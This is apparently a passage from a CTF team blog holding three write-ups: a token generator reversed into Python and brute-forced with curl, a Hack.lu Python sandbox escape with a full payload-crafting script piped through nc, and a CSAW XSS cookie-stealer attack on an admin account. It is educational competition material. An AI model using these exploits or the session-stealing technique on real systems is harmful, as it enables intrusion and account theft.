given electronic schematic of a One-time-password generator. This device generates new unique passwords at a fixed time interval. Two tokens were also given as part of the challenge’s instructions, with the time they were generated so the goal was to get the algorithm used by the device to generate a new token from the previous one, to find the generation frequency and so to deduce what the token is at the current time. We translated the diagram into a python script to easily generate as many token as we wanted. The circuit diagram Okay, so let’s break down this circuit, it’s not that complicated, the tokens are just 32 bits long. The first part, in yellow simply stores the token that is currently displayed by the device in eight differents 4-bits flip-flops. It is important to note, as written on the diagram, that the 7-segments display negates its input before displaying it, so the wire at the top of the diagram is the complement of the token. The wires that go to the pink block (a0-a31) are the token itself. The next block, the pink one, uses the previous token to compute the address of the byte sent to the next block. The selector, on the right, extracts four by four the token bytes, which will be xored with the value of a simple counter.   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def compute_addr_from_previous_token(previous_token): """The Pink Block Return in order the list of computed addresses from the previous token """ addrs = [] for count in range(8): #Extract the 4 lowest bytes of the token v = previous_token & 0xf previous_token >>= 4 #Xor with the counter value addr = v ^ count addrs.append(addr) assert previous_token == 0 return addrs  The generated address is then used, in the blue block, to read the seed value (also given in the instructions) at the computed offset, one byte at a time. This byte is then stored in two of the 4-bits flip-flops in the orange block, either in the two flip-flops at the top of the block or at the bottom, every two cycles. These two bytes are xored together, after their 4 higher bits were complemented.   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # From the instructions seed = "025EF87E7819E3A3B48E92CD92E7AB35" def extract_from_eeprom(addr): if addr > 15: raise ValueError("SEED BAD ADDR : {0}".format(addr)) data = seed[addr * 2 : (addr + 1) * 2].decode('hex') return ord(data) def get_eeprom_value_from_addr(addrs): """The blue Block""" values = [] for addr in addrs: values.append(extract_from_eeprom(addr)) return values def compute_2byte(b1, b2): """The Orange Block""" v1 = (b1 & 0xf) | ((0xff ^ b1) & 0xf0) v2 = (b2 & 0xf) | ((0xff ^ b2) & 0xf0) return v1 ^ v2  This new value is stored in the green block in four groups of two 4-bits flip-flops, and the previous operation is repeated four times to compute a final 4-bytes value.  1 2 3 4 5 6 7 8 def stock_intermediate_state(values): """The green block: stocks 4 bytes and use it as a Dword after. Translated by taking a list of 4 bytes and outputing the complement as an int.""" result = 0 #Low byte is first for v in reversed(values): result = (result << 8) + v return 0xffffffff ^ result  The complemented value of the token is xored with the complement of this new value. This result is rotated by one to the right (rotation that we didn’t see for our first implementation, despite the fact that it was clearly written at the top…), stored in the yellow block as seen a the top of the article and displayed.   1 2 3 4 5 6 7 8 9 10 11 def apply_xor_with_previous(previous_token, interm_dword): """ The red block: Xor the internal DWORD with: NOT previous_token and rotate 1 the result """ not_previous_token = 0xffffffff ^ previous_token xored = not_previous_token ^ interm_dword #Rotation rot = (xored & 0x80000000) if rot: rot = 1 new_token = ((xored << 1) & 0xffffffff) | rot return new_token  The final code is available at the bottom of the article. Now that we had our algorithm in Python, with the reference tokens given in the instructions, we could compute any token we wanted. We computed the number of tokens that separated the two given tokens and thus could find the index of the token at any given date after the first given token. We used WolframAlpha to avoid messing-up timezones and timedeltas (we were traumatized by Codegate…) for the time computation. We computed the token at the index we thought but it didn’t work, then tried the 5 tokens below and above it but it didn’t work either. Okay, maybe they screwed the timezone, try the tokens one hour before and after, nope. Okay, you know what? screw this, compute 100 values before and 100 after the tokens and:  1 2 3 4 for tok in python2 elec.py | tail -200 | cut -d '-' -f 2; do curl "http://z0b.nuitduhack.com:8001/?token=$tok" | grep 'Wrong token.' if [ "$?" -eq 1 ]; then echo FOUUUUUND:$tok; break; fi done 

And it worked, so I guessed we made a mistake in our computations of time-deltas.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #!/usr/bin/python2 seed = "025EF87E7819E3A3B48E92CD92E7AB35" previous_token = 0x0FDE45E3 def extract_from_eeprom(addr): if addr > 15: raise ValueError("SEED BAD ADDR : {0}".format(addr)) data = seed[addr * 2 : (addr + 1) * 2].decode('hex') return ord(data) def get_eeprom_value_from_addr(addrs): """The blue block""" values = [] for addr in addrs: values.append(extract_from_eeprom(addr)) return values def compute_2byte(b1, b2): """The orange block""" v1 = (b1 & 0xf) | ((0xff ^ b1) & 0xf0) v2 = (b2 & 0xf) | ((0xff ^ b2) & 0xf0) return v1 ^ v2 def compute_addr_from_previous_token(previous_token): """The pink block Returns in order the list of computed addresses from the previous token """ addrs = [] for count in range(8): #Extract the 4 lowest bytes of the token v = previous_token & 0xf previous_token >>= 4 #Xor with the counter value addr = v ^ count addrs.append(addr) assert previous_token == 0 return addrs def stock_intermediate_state(values): """The green block: stocks 4 bytes and use it as a Dword after. Translated by taking a list of 4 bytes and outputing the complement as an int.""" result = 0 #Low byte is first for v in reversed(values): result = (result << 8) + v return 0xffffffff ^ result def apply_xor_with_previous(previous_token, interm_dword): """ The red block: Xor the internal DWORD with: NOT previous_token and rotate 1 the result """ not_previous_token = 0xffffffff ^ previous_token xored = not_previous_token ^ interm_dword #Rotation rot = (xored & 0x80000000) if rot: rot = 1 new_token = ((xored << 1) & 0xffffffff) | rot return new_token def next_token(previous_token): #Addrs computed by pink part addrs = compute_addr_from_previous_token(previous_token) #Send addr to the eeprom values = get_eeprom_value_from_addr(addrs) #The Orange part take bytes 2-by-2 and outpur just one byte interm_byte = [] for i in range(4): v1, v2 = values[i * 2 : (i + 1) * 2] interm_byte.append(compute_2byte(v1, v2)) #The green block just stock intermediate computed byte #and NOT them in order to use them as a DWORD interm_dword = stock_intermediate_state(interm_byte) #The Red Block output the new token new_token = apply_xor_with_previous(previous_token, interm_dword) return new_token gen_per_min = (314.0/1346) diff_min = 72348 diff = int(gen_per_min * diff_min) for i in xrange(diff + 100): previous_token = next_token(previous_token) if previous_token == 0x7113aad3: print "FOUND: " + str(i) + " - " + hex(previous_token) if diff - 100 <= i <= diff + 100: print str(i) + " : " + "{0:08x}".format(previous_token) 

• # Hack.lu CTF 2012: The Sandboxed Terminal (400 points)

Written by Pierre-Marie de Rodat
2012-10-25 13:00:00

  1 2 3 4 5 6 7 8 9 10 11 Since the zombie apocalypse started people did not stop to ask themselves how the whole thing began. An abandoned military base may lead to answers but after infiltrating the facility you find yourself in front of a solid steel door with a computer attached. Luckily this terminal seems to connect to a Python service on a remote server to reduce load on the small computer. While your team managed to steal the source, they need your Python expertise to hack this service and get the masterkey which should be stored in a file called key. https://ctf.fluxfingers.net:2076/c7238e81667a085963829e452223b47b/sandbox.py credits: 400 +3 (1st), +2 (2nd), +1 (3rd) 

The sandbox source file contains the port number to connect to the terminal. A sessions prompts two numbers and an “operator”. These inputs are checked against regular expressions: ^[\d]{0,4}$ for the numbers and ^[\W]+$ for the operator (and it must not exceed 1899 bytes). If each matches, then if the operator contains a single quote (') the operator is replaced by eval(operator). Then, eval(number1 + operator + number2) is computer and printed.

Before all of this, some code wraps builtins in order to prevent imports and uses of open and file.

Our way to display the content of the key file was first to find a mean to evaluate alphanumerical code from the operator, and then to bypass the sandbox. The second part was the most easy: open.orig gives access to the original open builtin, thus executing open.orig('key').read() was enough to reach the key.

Finding a way to craft alphanumerical caracters from the operator was far more difficult. The first thing to notice was that ()!=() (which evaluates to False) can be used as the number 0, and ()==() (which evaluates to True) can be used as the number 1. From this, one can craft all possible numbers. Then, it is possible to take a minimal character set using Python’s backtick notation to get the string representation of an expression: ()==() yields 'True'. With non-printable ASCII chars, hexadecimal characters were available after one eval:

 1 2 >>> eval('"\xfe"[(()==())<<(()==())<<(()==())]') 'e' 

When the global eval is used, the given expression is evaluated from code inside the sandbox method, in which self is the wapper of eval itself! Thus, evaluating eval('self("0x41")') will return the content of the a variable.

Using all these principles, it is possible to execute our code using 3 eval stages:

• first, the remote sandboxed terminal receives our bytes: numbers are empty, and the operator contains our payload. The payload contains at least one single quote and the operator is evaluated once. With the previous tricks, one can craft self("...hexadecimally escaped bytes...")
• then, the second eval evaluates self(...) which is equivalent to eval("...escaped bytes.."), and since we master completely the escaped bytes, and that these bytes can cover the full byte range, we can do everything!

Thus, we crafted the payload using the following script:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 def get_num(n): '''Return a non-alphanum expression that evaluates to the given number.''' if n == 0: return '[]==()' elif n == 1: return '[]!=()' else: return '+'.join('([]!=())' for i in range(n)) # Craft "self("" result = ''.join(( '{()==()}[()==[]]+', # 's' '"\xfe"[%s]+' % get_num(4), # 'e' '()==[][%s]+' % get_num(2), # 'l' '"\xff"[%s]+' % get_num(4), # 'f' '"(\\""+' # '("' )) # Turn the wanted expression into a string of hexadecimally escaped bytes. result += '\'' for c in 'open.orig("key").read()': o = ord(c) hi = 0xf0 | (o >> 4) lo = 0xf0 | (o & 0x0f) result += '\x01.\x01' result += chr(hi) + '..' result += chr(lo) + '.....' result += '\'[%s:-(%s):%s]+' % (get_num(1), get_num(1), get_num(6)) # Craft "\")" result += '"\\\")"' # Simulate the sandboxed environment. class Wrapper: pass self=eval open_orig = open open = Wrapper() open.orig = open_orig # Print results to stderr for debugging import sys print >> sys.stderr, '%s bytes: %s' % (len(result), repr(result)) print >> sys.stderr, '--> %s' % repr(eval(result)) print >> sys.stderr, '--> %s' % repr(eval(eval(result))) print '' print '' print result 

Finally, we send the payload to the service:

 1 python2 craft_payload.py | nc ctf.fluxfingers.net 2060 

Key: dafuq_how_did_you_solve_this_nonalpha_thingy.

• # CSAW CTF 2012: Web 400 writeup

Written by Pierre Bourdon
2012-10-01 00:00:00

Note: this article uses MathJax to display formulas written in TeX. Please enable Javascript in order to see the formulas correctly.

Web 400 was an interesting challenge involving web exploits as well as crypto. We had access to a web application which allowed sending messages from a user to another. The twist is that all of these messages were encrypted using an unknown algorithm. When sending a message the user provides a key which is used to encrypt the message.

After analyzing the algorithm a bit (same key and message, trying different key sizes and block sizes, checking if every block is encrypted the same, etc.) we found out that it was some kind of ECB XOR using the key + a constant 64 bits value. This was only true for the first few blocks though: after that another key or another constant value was used. As we'll soon see, this does not matter a lot.

We were able to confirm that this message system is vulnerable to XSS attacks by sending some strings that give HTML tags when encrypted. We just need to encode a cookie stealer and send it to the admin user to gain access to his account.

Now that we know this algorithm uses XOR as its main operation, we can use a very interesting property of this binary operator:

$$Plain \oplus Key = Cipher \Leftrightarrow Plain \oplus Cipher = Key$$

If we send a block using a plaintext P1 and it gives us C1, we can use that property to deduce what we should send to have C2 be what we want:

$$P2 = C2 \oplus Key \Rightarrow P2 = C2 \oplus (P1 \oplus C1)$$

It turns out we can't use that for a whole message because the key seems to depend on the previous blocks plaintexts. We had to construct the message block per block using that technic. When encrypted, our message is:

 1  `

We sent that to the admin and got his session ID transmitted to our server. Using that we were able to login to his account and find some encrypted messages (and their associated key). The first message had a plaintext key when decrypted gave us another encryption key, which we used to decrypt a second message, giving us the final key we had to submit on the CTF website.